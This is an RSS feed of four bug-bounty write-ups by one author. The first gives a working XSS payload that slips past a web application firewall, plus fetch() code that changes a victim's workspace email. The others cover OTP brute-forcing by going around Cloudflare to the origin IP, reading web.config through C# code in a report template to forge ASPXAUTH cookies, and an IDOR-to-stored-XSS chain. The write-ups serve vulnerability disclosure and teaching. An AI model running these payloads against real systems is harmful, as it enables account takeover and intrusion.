<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ph4nt0mbyt3 on Medium]]></title>
        <description><![CDATA[Stories by ph4nt0mbyt3 on Medium]]></description>
        <link>https://medium.com/@ph4nt0mbyt3?source=rss-8fb918c5d30a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BSbXzu_HEiDi2fdnIG_8Lg.gif</url>
            <title>Stories by ph4nt0mbyt3 on Medium</title>
            <link>https://medium.com/@ph4nt0mbyt3?source=rss-8fb918c5d30a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:41:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ph4nt0mbyt3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One-Click Workspace Takeover: Exploiting XSS and CSRF + WAF Bypass (F*ck HttpOnly)]]></title>
            <link>https://medium.com/@ph4nt0mbyt3/one-click-workspace-takeover-exploiting-xss-and-csrf-waf-bypass-f-ck-httponly-e4e9fbbaed75?source=rss-8fb918c5d30a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4e9fbbaed75</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ph4nt0mbyt3]]></dc:creator>
            <pubDate>Tue, 27 Jan 2026 22:35:28 GMT</pubDate>
            <atom:updated>2026-01-27T22:35:28.980Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This write-up is based on real-world findings. Some information has been redacted for confidentiality reasons.</em></p><p>These days, finding a proper <strong>CSRF</strong> vulnerability is rare. Modern browsers default cookies to SameSite=Lax, which means cookies aren’t sent in hidden GET requests, though they <em>are</em> still sent when clicking on links. Combined with Same-Origin Policy, this makes reading responses through XHR or fetch impossible across origins.</p><p><strong>XSS</strong> isn’t easy to find either on well known target, at least not the classic ones. But honestly, if you spend enough time on a target, stuff shows up.</p><h3>Discovery: Reflected Injection</h3><p>While testing the image upload feature of a content management platform, I came across a pretty dumb reflected HTML injection via the contentType GET parameter:</p><pre>/api/content-creation/v1/workspace/image-upload/send?contentType=INJECTION_POINT</pre><p>I wasn’t even looking for this. Just messing around. Tried the usual payloads from cheat sheets, tried some bypasses. Nothing worked (really? it’s a big company, things aren’t easy like that). Every single classic payload got filtered.<br>A <strong>Web Application Firewall (WAF)</strong> was blocking <strong>almost all event handlers</strong>, preventing any JavaScript from executing.</p><p>Handlers like onerror, onload, onmouseover , all blocked, script tags, style tags? forgot everything.</p><h3>Bypassing the WAF</h3><p>Digging deeper, I tested lesser-known event handlers. I eventually found out that the WAF <em>didn’t</em> filter out <strong>Chrome-specific</strong> ones, such as:</p><pre>oncontentvisibilityautostatechange</pre><p>Using that, I managed to get JavaScript to run successfully in <strong>Chrome</strong>, which makes up ~67% of users.</p><p>Here’s the working payload:</p><pre>&lt;input type=&quot;hidden&quot; <br>  oncontentvisibilityautostatechange=&quot;confirm(document.domain)&quot; <br>  style=&quot;content-visibility:auto&quot;&gt;</pre><p>triggered, XSS achieved.</p><h3>Cookie Troubles… But Wait</h3><p>Alright, we’ve got XSS, but the session cookie is marked <strong>HttpOnly(really? i never saw one without httponly nowadays)</strong><br> That means no way to document.cookie and steal it directly.</p><p>I tried finding token leaks in the DOM, looked into other endpoints, nothing useful to extract the token.</p><p>Then I remembered something simple but important:</p><p>Most <strong>critical endpoints</strong> use Bearer tokens to prevent CSRF. But in this case, some of authenticated API endpoints relied just on cookies. And since our XSS runs in the same origin, <strong>CSRF becomes fully viable</strong>.</p><p>in this case, is more like a in-site request forgery, because is not cross site anymore when we got xss on it.</p><p>Cookies are sent.<br> No preflight.<br> No need to exfiltrate anything.</p><h3>The in-site Chain</h3><p>The endpoint we’re targeting allows changing the <strong>workspace email</strong>:</p><pre>PUT /api/content-creation/v1/workspace/manage</pre><p>Payload:</p><pre>{<br>  &quot;isEnabled&quot;: true,<br>  &quot;email&quot;: &quot;attackeremail@hacked.com&quot;<br>}</pre><p>Now, from the XSS, we can do:</p><pre>const url = &quot;https://REDACTED.COM/api/content-creation/v1/workspace/manage&quot;;<br><br>const headers = {<br>  &quot;Content-Type&quot;: &quot;application/json&quot;<br>};<br>const data = {<br>  method: &quot;PUT&quot;,<br>  headers,<br>  body: JSON.stringify({<br>    isEnabled: true,<br>    email: &quot;ph4nt0mbyt3@attacker.com&quot;<br>  }),<br>  credentials: &quot;include&quot;  // Send victim&#39;s cookies<br>};<br>fetch(url, data)<br>  .then(res =&gt; res.json())<br>  .then(resp =&gt; console.log(&quot;Response:&quot;, resp))<br>  .catch(err =&gt; console.error(&quot;Error:&quot;, err));</pre><h3>🧬 Payload Delivery (Base64-Encoded JS)</h3><p>To avoid being blocked by the WAF and make shorter, we encode the JavaScript in <strong>Base64</strong> and decode and execute it using eval(atob()).</p><pre>&lt;input type=&quot;hidden&quot;<br>  oncontentvisibilityautostatechange=&quot;eval(atob(&#39;BASE64_CODE&#39;))&quot;<br>  style=&quot;content-visibility:auto&quot;&gt;</pre><p>And to trigger the payload:</p><pre>https://redacted.com/api/content-creation/v1/workspace/image-upload/send?contentType=&lt;input%20type=hidden%20oncontentvisibilityautostatechange%3D%22eval(atob(&#39;BASE64_PAYLOAD&#39;))%22%20style=content-visibility:auto&gt;</pre><p>Once the victim visits that link (and they’re authenticated), the email gets changed silently, full <strong>workspace takeover.</strong></p><h3>Impact &amp; Report</h3><p>I reported this immediately and marked it as <strong>High Severity</strong>.</p><p>Unfortunately, it got marked as a <strong>duplicate</strong> of a Medium severity issue, happens sometimes, part of the game.<br> But the chain itself was real, and shows how combining low-severity issues with browser quirks still gets you wins.</p><h3>Final Thoughts</h3><ul><li>Even if cookies are Lax/Strict and HttpOnly, <strong>XSS still rules everything</strong> in the right context.</li><li>CSRF isn’t dead, it’s just waiting for the right conditions to come back.</li><li>WAFs aren’t magic. Learn how to break them.</li><li>Creativity &gt; Cheat Sheets.</li></ul><p>Stay sharp. Stay curious.<br> — Ph4nt0mByt3</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4e9fbbaed75" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudFlare Rate Limit Bypass — OTP Bruteforce using probabilistics leads to ATO]]></title>
            <link>https://medium.com/@ph4nt0mbyt3/cloudflare-rate-limit-bypass-otp-bruteforce-using-probabilistics-leads-to-ato-511c9f3475cd?source=rss-8fb918c5d30a------2</link>
            <guid isPermaLink="false">https://medium.com/p/511c9f3475cd</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[ph4nt0mbyt3]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 03:58:42 GMT</pubDate>
            <atom:updated>2025-04-10T03:58:42.823Z</atom:updated>
            <content:encoded><![CDATA[<h3>CloudFlare Rate Limit Bypass — OTP Bruteforce using probabilistics leads to ATO</h3><p>The interesting functionallity is a OTP code as unique factor of authentication on</p><p><em>Let’s go deep:</em></p><p><strong>OTP send code endpoint:</strong></p><pre>POST /api/v5/sendcode HTTP/1.1<br>Host: target.com<br>Content-Type: application/json<br><br>{<br>   &quot;email&quot;:&quot;victimemail@gmail.com&quot;<br>}</pre><p>The first thing to note is that every new OTP code sent should invalidate the previous one. However, that wasn’t the case — I discovered that up to four valid codes can exist simultaneously. When a fifth code is generated, it replaces the oldest one, and this cycle continues.</p><p>Each OTP code consists of six digits.</p><p>There is a rate limit of 10 attempts on this endpoint, followed by a block lasting over an hour. However, this isn’t our main concern at the moment. The key issue is that up to four valid codes can exist at once, and more importantly, each code remains valid for 10 minutes.</p><p><strong>Now, let’s examine the OTP validation endpoint.</strong></p><pre>POST /api/v5/authenticate HTTP/1.1<br>Host: target.com<br>Content-Type: application/json<br><br>{<br>&quot;email&quot;:&quot;victim@gmail.com&quot;,<br>&quot;OTP&quot;:&quot;123456&quot;<br>}</pre><p>This endpoint has a rate limit of 700 requests (which seems excessive), but once exceeded, it blocks us for an hour and a half!</p><p><strong>Key Observations:</strong></p><ol><li>The OTP code consists of 6 digits (1 million possible combinations).</li><li>Each code expires after 10 minutes.</li><li>Up to 4 valid codes can exist simultaneously.</li><li>We have 700 attempts before being blocked for several hours.</li></ol><p>Bruteforcing 1 million OTP combinations in 10 minutes? Not happening — unless you’ve got a time machine or a very special relationship with Cloudflare. With a strict 700-attempt limit before getting blocked for over an hour, it’s practically impossible.</p><p>The first thing I did was look for a functionality related to OAST HTTP Requests in the application, kind of like hunting for Blind SSRF pingbacks. This allowed me to grab the real IP of the server (AWS). To my surprise, direct IP access was actually allowed! Yeah, I guess that’s not exactly shocking! Direct IP access? Pretty standard in some cases. But hey, at least it’s a good start for exploring further!</p><p><strong>Note:</strong> There are plenty of ways to uncover the real IP behind a WAF… Just get creative or do some digging!</p><p>Okay, this is the way I was searching for. Is there any difference between the rate limit of direct IP access and the CloudFlare one? Yes.</p><p>This can happen, so always check for rate limit differences when accessing using direct IPs.</p><p>Both have a 700-rate limit, but when accessing directly through the IP, instead of being blocked for an hour and a half, we got blocked for only 50 seconds!</p><p>Okay, sounds good, but not good enough.</p><p>Remember, the tokens expire in 10 minutes. So, if we get blocked for 50 seconds after every 700 requests, in 10 minutes we can’t brute-force anything!</p><p>We’ve already identified a small flaw in the rate limit when accessing the origin IP, but let’s use probabilities to our advantage and reduce the brute-force effort mathematically.</p><p><strong>OTP Possibilities:</strong></p><ul><li><strong>XXXXXX</strong> — 1 million OTP possibilities.</li><li><strong>0XXXXX</strong> — 100 thousand OTP possibilities.</li></ul><p>For each generated OTP, the probability that it starts with a 0 is 10%:</p><p>P = 100,000 / 1,000,000 = 0.1 (or 10%)</p><p>As we mentioned earlier, we can generate 4 valid codes at a time, so let’s calculate the probability:</p><p><strong>Probability Calculations:</strong></p><ul><li>Each OTP has a 90% chance of <strong>not</strong> starting with 0.</li><li>Since there are 4 independent trials, the probability that <strong>none</strong> of the codes start with 0 is:</li></ul><p>P(none starts with 0) = (0.9)⁴ = 0.6561</p><p>So, the probability that at least one OTP starts with 0 is:</p><p>1–0.6561 = 0.3439 (or 34.39%)</p><p>Now, an attacker would need to generate 4 valid codes and brute-force the ones that start with 0xxxxx, reducing the total combinations to 100 thousand in 10 minutes.</p><p><strong>However</strong>, the rate limit still blocks us for 50 seconds after every 700 requests, and that 50-second block is almost <strong>10%</strong> of the 10-minute brute-force window. 100 thousand combinations is still a lot, and the rate limit makes it impossible.</p><p>But we have another option: brute-forcing <strong>fewer combinations</strong> and <strong>passing through the rate limit</strong>. It will take much longer, but it’s a viable path to take over any account. (no passwords to retrieve token, just OTP)</p><h3><strong>LETS CUT THE ZEROS</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*Zj669_gtk2L570DU.gif" /><figcaption>cutting zeros</figcaption></figure><p>If we cut off another zero, <strong>00XXXX</strong>, we only need to brute-force 10 thousand codes in 10 minutes. But if we send 700 requests in 5 seconds, we’ll get blocked for 50 seconds, which still doesn’t work!</p><p>However, we can <strong>reduce the concurrent requests</strong>. By tweaking the configuration and sending requests at a certain speed, we can manage to send more than<strong> 1,000 requests/min</strong> without triggering the block. So, while it’s too slow to brute-force 100 thousand codes in 10 minutes, it’s fast enough to work with the 10 thousand codes within the 10-minute window. <strong>(not so bad!)</strong></p><p>Of course, this approach isn’t too severe, but it’s still a <strong>real possibility</strong> to take over an account.</p><p>Now, we’ve solved one problem and created another: the chance of an OTP code starting with <strong>2 zeros</strong> is…<br><strong>0%!</strong><br>Just kidding… <strong>1%!</strong> 😅</p><p>Now, you might be reading this and thinking… <strong>Holy shit, you need to brute-force 10 thousand OTPs? Okay, fine, you can do it without getting blocked… but you only have a 1% chance of success! WTF did you think you could do with just a 1% chance to take over an account?</strong></p><p>But hold on! We can generate 4 valid codes at a time, so now we have a <strong>chance of around 3.94%</strong> to take over the victim’s account on the first attack.</p><p>Still not looking exploitable? Let’s see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*CzRtwMelSekB2HYE.gif" /></figure><h3>The Complete Attack Chain:</h3><ol><li>The <strong>attacker</strong> sends 4 OTPs to the victim.</li><li>The <strong>attacker</strong> brute-forces every OTP starting with “00” using a <strong>medium cadence</strong> of attacks without getting blocked, achieving <strong>10,000 attempts in 10 minutes</strong> (e.g., 00xxxx).</li><li>The <strong>attacker</strong> has a <strong>3.94% chance</strong> of retrieving the user’s token on the first attack.</li><li>The <strong>attacker</strong> repeats these steps until successfully retrieving the token.</li></ol><p>Now, you might think the attacker needs to do this thousands of times, but that’s not the case…</p><h3>Probability Calculations:</h3><p>Each time 4 OTPs are generated, the probability that <strong>at least one</strong> starts with “00” is:</p><ul><li><strong>P(POC) = 3.94%</strong></li></ul><p>So, the probability that <strong>none</strong> of the 4 OTPs start with “00” is:</p><ul><li><strong>P(fail) = 1–0.0394 = 0.9606</strong></li></ul><p>The probability of success (getting at least one OTP starting with “00”) after <strong>k trials</strong> is:</p><ul><li><strong>P(success_total) = 1 — (0.9606)^k</strong></li></ul><p>Now, let’s calculate the <strong>number of trials</strong> needed to reach a <strong>50% success rate</strong>:</p><ul><li><strong>1 — (0.9606)^k = 0.5</strong></li><li><strong>(0.9606)^k = 0.5</strong></li></ul><p>Taking the natural logarithm on both sides:</p><ul><li><strong>k * ln(0.9606) = ln(0.5)</strong></li><li><strong>k ≈ 17.25</strong></li></ul><p>So, the attacker needs to repeat the process <strong>at least 18 times</strong> to have a granted <strong>50% chance</strong> of success. That’s <strong>3 hours</strong> of attack time using just one machine.</p><p>If the attacker repeats the process <strong>41 times</strong>, they have an <strong>80% chance</strong> of success. This would take almost <strong>7 hours</strong>.</p><h3>Conclusion:</h3><p>In this scenario, an attacker can <strong>take over accounts</strong> just by knowing the victim’s email address — <strong>without needing the password</strong>.</p><p>Some companies wouldn’t consider this vulnerability as high, arguing that a <strong>3.94% chance</strong> of success is too low to be risky. Others might even dismiss rate-limiting issues for OTP login without a password.</p><p>But let’s be realistic here. <strong>Automation</strong> can easily exploit this vulnerability while the attacker is sleeping.</p><p>This vulnerability was accepted and rewarded, but I wonder if it would be accepted on major platforms.</p><p>I hope you enjoyed the read!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=511c9f3475cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RCE Exploitation via Report Upload + Leveraging MachineKeys to Forge ASPXAUTH Cookies to privesc…]]></title>
            <link>https://medium.com/@ph4nt0mbyt3/rce-exploitation-via-report-upload-leveraging-machinekeys-to-forge-aspxauth-cookies-to-privesc-50d38991da2e?source=rss-8fb918c5d30a------2</link>
            <guid isPermaLink="false">https://medium.com/p/50d38991da2e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cookies]]></category>
            <category><![CDATA[aspnetcore]]></category>
            <dc:creator><![CDATA[ph4nt0mbyt3]]></dc:creator>
            <pubDate>Tue, 28 May 2024 12:57:08 GMT</pubDate>
            <atom:updated>2024-05-28T12:57:08.068Z</atom:updated>
            <content:encoded><![CDATA[<h3>RCE Exploitation via Report Upload + Leveraging MachineKeys to Forge ASPXAUTH Cookies to privesc and persistence.</h3><p>I am considering starting a journal to organize all my findings and ideas in one place, as it has been a long journey through this private pentest involving numerous endpoints and a .NET application.</p><p>Initially, we have a user called “support” who is a support user with limited permissions. However, this user can access some report views and creators, which is a perfect vector for vulnerabilities. By examining the source code, I identified the version of a third-party report generator and discovered a CVE indicating a Remote Code Execution (RCE) vulnerability from the previous year, although it lacked details or a Proof of Concept (PoC). Despite this, I pieced together the necessary information. The reports embedded C# code (inside XML template file) but blocked System.Net, System.Socket, and other libraries to prevent RCE. However, I speculated that using System.IO to interact with the file system could allow reading or writing files on the OS.</p><pre>namespace System.IO<br>{<br>    string srcfile = @&quot;D:/inetpub/wwwroot/Web.config&quot;;<br>    string destfile= @&quot;D:/inetpub/wwwroot/SmLpOjY02367SHuyepLMnsU.txt&quot;;<br>    string content = File.ReadAllText(srcfile);<br>    File.WriteAllText(destfile, content);<br>}</pre><p>First, I accessed an actual report, downloaded the template, and modified the C# code within the XML file to write a file called “(randomstring).txt” in the same directory. When I previewed the report, the code executed successfully.</p><p>Knowing we were in a .NET application, I realized I could use File.ReadAllBytes to read the web.config file and File.WriteAllBytes to write it to a location accessible to an unauthenticated user, or simply display it in the report. I preferred the first method since the web.config file is usually large, and naturally, the IIS user must have permission to read the web.config file, which is not uncommon.</p><p>To locate the web.config file, I considered it might be in C:\inetpub\wwwroot\SOMETHING or simply C:\inetpub\wwwroot. After several attempts and searching for Full Path Disclosures, I tried different drives: D:\, nothing; and then E:\, which worked!</p><p>I accessed the web.config machine keys via a .txt file, exploiting an RCE vulnerability in the report template as a support user. These machine keys allowed us to decrypt our own cookies and analyze them and encrypt back again.</p><p>You might wonder why I didn’t attempt deserialization in the viewstate. I did, but without success. Nevertheless, I achieved the same result since I already had RCE access to all clients.</p><p>After decrypting the cookie, it appeared as follows:</p><pre>[20,1,&quot;COMPANYNAME&quot;,null,039400]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9XmvLQDP-WYhm5ix.png" /></figure><p>Through numerous modifications and re-encryptions of the cookie (using AspDotNetWrapper), I discovered that the first number is the ID, with ID 1 being the master ID. Changing this ID and re-encrypting the cookie allowed us to access the application as the master user.</p><p>Consequently, I was able to compromise all clients since they all used the same machine keys.</p><p>I discovered this by asking myself: What if I use the cookies from one application on another client using the same system?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50d38991da2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS chain on NASA VDP]]></title>
            <link>https://medium.com/@ph4nt0mbyt3/stored-xss-chain-on-nasa-vdp-93814e2df863?source=rss-8fb918c5d30a------2</link>
            <guid isPermaLink="false">https://medium.com/p/93814e2df863</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[nasa]]></category>
            <dc:creator><![CDATA[ph4nt0mbyt3]]></dc:creator>
            <pubDate>Thu, 18 Apr 2024 02:31:44 GMT</pubDate>
            <atom:updated>2024-04-18T02:31:44.579Z</atom:updated>
            <content:encoded><![CDATA[<p>Greetings Readers,</p><p>I hope this message finds you in excellent spirits and eager for the exciting developments in our cybersecurity exploration! Today, I’m delighted to share an insightful discovery regarding the NASA VDP program, a journey that has led to uncovering intriguing vulnerabilities alongside my esteemed collaborator, QNSx.</p><p>Our initial quest bore fruit with the identification of 9 P3 vulnerabilities, yet our thirst for more impactful findings persisted. Through perseverance and diligent investigation, we delved deeper into the system, unveiling a remarkable vulnerability that opens doors to intriguing possibilities.</p><p>As I navigated through the sub.redacted.com domain, a significant vulnerability revealed itself. This flaw not only presented an opportunity for a self-XSS attack, a starting point that paved the way for an even more significant escalation in our exploration.</p><p>Undeterred by challenges, I embarked on further exploration, which led me to uncover an IDOR vulnerability with an element of unpredictability, adding an exhilarating twist to our journey. However, amidst these challenges, a beacon of opportunity emerged in the form of an API endpoint. This endpoint not only provided access to user filter IDs without authentication but also revealed a fascinating pattern waiting to be unraveled.</p><p>What makes this journey even more exciting is the range of actions enabled by the mode=list feature of the API endpoint. From renaming and saving to deletion of filters, the possibilities are vast and promising.</p><p>Join me as we embark on this journey towards leveraging the Self+XSS chain combined with IDOR to unlock the potential of Stored XSS.</p><p>While experimenting with the filters, I discovered numerous endpoints and potential avenues for exploration.</p><p>Unauthenticated Filter Saving Endpoint (POST to GET conversion):</p><ul><li>Endpoint: <a href="https://vis.redacted.com/Redacted/SaveSearchFilterSvc?mode=save&amp;name=XSS">https://sub.redacted.gov/Redacted/SaveSearchFilterSvc?mode=save&amp;name=SELF-<strong>XSS</strong></a><strong> PAYLOAD HERE</strong>&amp;userid=<strong>123612368</strong>&amp;list_mode=list&amp;log_type=user_saved&amp;filter_list</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*ZWWfCmQX0vHM8A3_.gif" /></figure><p>I have conducted an analysis regarding the generation of user IDs and have identified a discernible pattern in the sequence of IDs. For instance, user IDs exhibit a progressive or foreseeable pattern, such as commencing with “1235XXXXX” on one day and progressing to “1236XXXXX” on subsequent days. It appears that this pattern undergoes gradual changes either after a specific number of registrations or after a certain period.</p><p>Here are examples of the observed user IDs:</p><ul><li>123568050 (yesterday)</li><li>123612368 (today)</li><li>123617537 (today)</li><li>123617537 (today)</li></ul><p>The potential variations in the XXXX portion range from 00000 to 99999, amounting to 100,000 possibilities. While this may seem substantial, it is a manageable range. In light of this analysis, we are presented with two options for exploiting this pattern:</p><ol><li>To illustrate the gravity of these vulnerabilities, I developed a Python script to systematically iterate through user IDs and identify those with active filters, subsequently renaming them. However, I find this approach less practical as it assumes that users consistently utilize filters during the account creation process, which may not always be the case.</li><li>Alternatively, we could adopt a strategy of retroactively searching for old patterns or injecting potential future patterns into the system. By doing so, any attempt to utilize filters or interact with these IDs would trigger an injection, thus enhancing security measures.</li></ol><p>Our expedition through this program has been a testament to the power of curiosity, collaboration, and continuous learning in the realm of cybersecurity. Thank you for being part of this inspiring world. Let’s continue to lead by example, inspire change, and build a safer, more secure digital future for generations to come.</p><p>Never give up!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Nf1m8Dg_sIGsHKv-xagbvg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93814e2df863" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>